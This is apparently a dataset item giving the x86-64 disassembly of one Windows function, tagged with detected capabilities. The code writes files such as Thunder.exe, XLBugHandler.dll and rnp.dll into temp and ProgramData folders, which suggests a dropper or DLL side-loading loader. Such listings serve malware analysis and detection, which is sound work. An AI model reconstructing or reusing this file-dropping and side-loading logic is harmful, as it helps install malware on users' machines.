Function at 0x140002ad0
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete directory
Enumerate gui resources
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x12c0]
mov eax, 0x13c0
call fcn.140014240
sub rsp, rax
movaps xmmword [rsp + 0x13b0], xmm6
movaps xmmword [rsp + 0x13a0], xmm7
mov rax, qword [0x14004e060]
xor rax, rsp
mov qword [rbp + 0x1290], rax
mov rsi, rcx
lea rdx, [rbp + 0x5d0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.1400026a0
mov r9, rax
lea r8, [rbp + 0x5d0]
lea rdx, str._squick.exe
lea rcx, [rbp + 0x900]
call qword [sym.imp.USER32.dll_wsprintfA]
call fcn.1400026a0
mov r9, rax
lea r8, [rbp + 0x5d0]
lea rdx, str._sXLBugHandler.dll
lea rcx, [rbp + 0xb20]
call qword [sym.imp.USER32.dll_wsprintfA]
call fcn.1400026a0
mov r9, rax
lea r8, [rbp + 0x5d0]
lea rdx, str._sThunder.exe
lea rcx, [rbp + 0xc30]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0xe0]
call fcn.1400023b0
nop
lea rcx, [rbp + 0x1f0]
call fcn.1400023b0
nop
xor r14d, r14d
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r14b
lea r8d, [r14 + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x70]
call fcn.140008d30
nop
lea r8d, [r14 + 1]
lea rdx, [0x140046c48]
lea rcx, [rbp - 0x70]
call fcn.140008e90
mov qword [rsp + 0x70], r14
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rdx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rdx, qword [rbp + 0xe0]
mov r8, qword [rbp + 0xf0]
lea rcx, [rsp + 0x70]
call fcn.140008e90
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea r8d, [r14 + 1]
lea rdx, [0x140046c48]
lea rcx, [rsp + 0x50]
call fcn.140008e90
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rdx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0x10
cmovae rdx, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x200]
lea rcx, [rbp - 0x30]
call fcn.140008e90
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea r8d, [r14 + 4]
lea rdx, str..exe
lea rcx, [rsp + 0x30]
call fcn.140008e90
mov qword [rbp + 0x120], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x130], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002d92
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004226
call fcn.140013bf0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140002de0
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ddb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000422c
call fcn.140013bf0
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140002e2d
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004232
call fcn.140013bf0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140002e7c
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004238
call fcn.140013bf0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002ec8
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ec3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000423e
call fcn.140013bf0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov qword [rbp - 0x10], r14
mov qword [rbp], r14
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x10]
call fcn.140008d30
nop
mov r8d, 1
lea rdx, [0x140046c48]
lea rcx, [rbp - 0x10]
call fcn.140008e90
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rdx, qword [rbp + 0xe0]
mov r8, qword [rbp + 0xf0]
lea rcx, [rbp - 0x50]
call fcn.140008e90
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140002fd9
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004244
call fcn.140013bf0
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140003024
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000301f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000424a
call fcn.140013bf0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000306f
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000306a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004250
call fcn.140013bf0
lea r8, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae r8, qword [rbp + 0x120]
lea rdx, [0x140046c4c]
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.USER32.dll_wsprintfA]
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
lea rax, [rbp + 0x4c0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400030c2
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x70]
call fcn.140008d30
nop
lea rcx, [rbp + 0x70]
mov r9, qword [rbp + 0x70]
mov r10, qword [rbp + 0x88]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, qword [rbp + 0x80]
test rdx, rdx
je 0x140003133
lea rax, [rdx - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x5c
je 0x14000312e
nop dword [rax + rax]
cmp r8, rcx
je 0x140003133
dec r8
cmp byte [r8], 0x5c
jne 0x140003120
sub r8, rcx
jmp 0x14000313a
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x10], r14
mov qword [rbp], r14
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
inc r8
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rbp + 0x70]
cmp r10, 0x10
cmovae rdx, r9
lea rcx, [rbp - 0x10]
call fcn.140008d30
nop
mov r8d, 0xc
lea rdx, str.python27.dll
lea rcx, [rbp - 0x10]
call fcn.140008e90
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1400031d8
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004256
call fcn.140013bf0
movups xmmword [rbp + 0x70], xmm6
movups xmmword [rbp + 0x80], xmm7
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000321e
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003219
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000425c
call fcn.140013bf0
lea r8, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae r8, qword [rbp + 0x70]
lea rdx, [0x140046c4c]
lea rcx, [rbp + 0xd40]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0xc0]
call fcn.1400023b0
nop
lea rcx, [rbp + 0x1d0]
call fcn.1400023b0
nop
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rsp + 0x30]
call fcn.140008d30
nop
mov r8d, 1
lea rdx, [0x140046c48]
lea rcx, [rsp + 0x30]
call fcn.140008e90
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
mov r8, qword [rbp + 0xd0]
lea rcx, [rsp + 0x50]
call fcn.140008e90
mov qword [rsp + 0x70], r14
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x140046c48]
lea rcx, [rsp + 0x70]
call fcn.140008e90
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae rdx, qword [rbp + 0x1d0]
mov r8, qword [rbp + 0x1e0]
lea rcx, [rbp - 0x70]
call fcn.140008e90
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..exe
lea rcx, [rbp - 0x50]
call fcn.140008e90
mov qword [rbp + 0x100], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x110], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140003440
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000343b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004262
call fcn.140013bf0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x14000348b
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003486
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004268
call fcn.140013bf0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1400034d7
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000426e
call fcn.140013bf0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140003525
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003520
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004274
call fcn.140013bf0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140003575
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003570
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000427a
call fcn.140013bf0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov qword [rbp - 0x10], r14
mov qword [rbp], r14
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x10]
call fcn.140008d30
nop
mov r8d, 1
lea rdx, [0x140046c48]
lea rcx, [rbp - 0x10]
call fcn.140008e90
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
mov r8, qword [rbp + 0xd0]
lea rcx, [rbp - 0x30]
call fcn.140008e90
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140003689
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003684
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004280
call fcn.140013bf0
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1400036d4
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004286
call fcn.140013bf0
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000371f
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000371a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000428c
call fcn.140013bf0
lea r8, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae r8, qword [rbp + 0x100]
lea rdx, [0x140046c4c]
lea rcx, [rbp + 0x6e0]
call qword [sym.imp.USER32.dll_wsprintfA]
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
lea rax, [rbp + 0x6e0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003770
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x50]
call fcn.140008d30
nop
lea rcx, [rbp + 0x50]
mov r9, qword [rbp + 0x50]
mov r10, qword [rbp + 0x68]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x1400037d6
lea rax, [rdx - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x5c
je 0x1400037d1
cmp r8, rcx
je 0x1400037d6
dec r8
cmp byte [r8], 0x5c
jne 0x1400037c3
sub r8, rcx
jmp 0x1400037dd
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x10], r14
mov qword [rbp], r14
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
inc r8
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rbp + 0x50]
cmp r10, 0x10
cmovae rdx, r9
lea rcx, [rbp - 0x10]
call fcn.140008d30
nop
mov r8d, 7
lea rdx, str.rnp.dll
lea rcx, [rbp - 0x10]
call fcn.140008e90
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140003878
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003873
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004292
call fcn.140013bf0
movups xmmword [rbp + 0x50], xmm6
movups xmmword [rbp + 0x60], xmm7
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1400038bb
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004220
call fcn.140013bf0
lea r8, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae r8, qword [rbp + 0x50]
lea rdx, [0x140046c4c]
lea rcx, [rbp + 0xe50]
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x3b0]
call fcn.140016490
lea rcx, [rbp + 0x3b0]
call fcn.1400080d0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], rax
mov qword [rbp - 0x30], r14
mov word [rbp - 0x28], 1
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x3f8]
mov qword [rsp + 0x30], rax
test rax, rax
sete byte [rsp + 0x38]
mov byte [rsp + 0x39], 0
movdqu xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], r14
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xa8]
call fcn.14000b440
nop
lea rcx, [rbp + 0x3c0]
call fcn.140008c00
mov r15d, 2
test rax, rax
jne 0x1400039be
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x3b0]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
cmovne edx, r15d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001dc0
xorps xmm0, xmm0
mov dword [rbp - 0x30], 0x61657771
mov dword [rbp - 0x2c], 0x32316473
mov dword [rbp - 0x28], 0x63787a33
movdqu xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r14
mov ecx, 0xc
call fcn.140013bf8
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rax
lea rbx, [rax + 0xc]
mov qword [rbp + 0xa0], rbx
mov r8d, 0xc
lea rdx, [rbp - 0x30]
mov rcx, rax
call fcn.140015d40
mov qword [rbp + 0x98], rbx
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xa8]
call fcn.1400021e0
mov qword [rbp + 0x30], r14
mov rcx, r14
mov qword [rbp + 0x40], rcx
mov r8d, 0xf
mov qword [rbp + 0x48], r8
mov byte [rbp + 0x30], cl
mov rdi, qword [rbp + 0xb0]
mov rbx, qword [rbp + 0xa8]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x140003a7a
lea rcx, [rbp + 0x30]
call fcn.140009e70
mov rcx, r14
mov qword [rbp + 0x40], rcx
mov r8, qword [rbp + 0x48]
lea rax, [rbp + 0x30]
mov qword [rbp - 0x30], rax
cmp rbx, rdi
je 0x140003acb
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x140003ab0
lea rax, [rcx + 1]
mov qword [rbp + 0x40], rax
lea rax, [rbp + 0x30]
cmp r8, 0x10
cmovae rax, qword [rbp + 0x30]
mov byte [rcx + rax], r9b
mov byte [rcx + rax + 1], 0
jmp 0x140003ab9
lea rcx, [rbp + 0x30]
call fcn.140009fc0
inc rbx
cmp rbx, rdi
je 0x140003acb
mov r8, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x40]
jmp 0x140003a87
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], rax
lea rdx, str.__w__________________
lea rcx, [rbp + 0x210]
call fcn.1400070f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x270], xmm0
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x240], r14
mov byte [rbp + 0x248], 0
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x260], xmm1
mov qword [rbp + 0x270], r14
mov byte [rbp + 0x278], 0
movdqa xmmword [rbp + 0x280], xmm0
mov byte [rbp + 0x290], 0
mov qword [rbp + 0x298], r14
mov qword [rbp + 0x2a0], r14
mov byte [rbp + 0x2a8], 0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
add rdx, qword [rbp + 0x40]
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rax, qword [rbp + 0x30]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rdx
lea rcx, [rbp + 0x210]
mov qword [rbp + 0x150], rcx
mov dword [rbp + 0x158], r14d
mov qword [rbp + 0x160], r14
mov byte [rbp + 0x168], 0
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmmword [rbp + 0x180], xmm1
mov qword [rbp + 0x190], r14
mov byte [rbp + 0x198], 0
movdqa xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], r14
mov qword [rbp + 0x1c0], r14
mov byte [rbp + 0x1c8], 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
lea r9, [rbp + 0x210]
lea r8, [rbp + 0x160]
mov rcx, rax
call fcn.1400098b0
mov rcx, qword [rbp + 0x150]
test al, al
cmove rcx, r14
mov qword [rbp + 0x150], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x320], xmm0
movups xmmword [rbp + 0x330], xmm0
movdqa xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], r14
mov qword [rbp + 0x2d0], r14
mov byte [rbp + 0x2d8], 0
movdqa xmmword [rbp + 0x2e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2f0], xmm1
mov qword [rbp + 0x300], r14
mov byte [rbp + 0x308], 0
movdqa xmmword [rbp + 0x310], xmm0
mov byte [rbp + 0x320], 0
mov qword [rbp + 0x328], r14
mov qword [rbp + 0x330], r14
mov byte [rbp + 0x338], 0
movabs rdi, 0x2aaaaaaaaaaaaaab
nop
test rcx, rcx
je 0x140003f4a
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
movups xmmword [rbp + 0x350], xmm0
movups xmmword [rbp + 0x360], xmm0
movups xmmword [rbp + 0x370], xmm0
movups xmmword [rbp + 0x380], xmm0
movups xmmword [rbp + 0x390], xmm0
movups xmmword [rbp + 0x3a0], xmm0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x340]
call fcn.140004440
nop
mov rcx, qword [rbp + 0x358]
mov r8, qword [rbp + 0x350]
sub rcx, r8
mov rax, rdi
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 4
jne 0x140003f25
cmp byte [r8 + 0x28], 0
je 0x140003d83
movups xmm0, xmmword [r8 + 0x18]
movups xmmword [rsp + 0x30], xmm0
jmp 0x140003d8c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
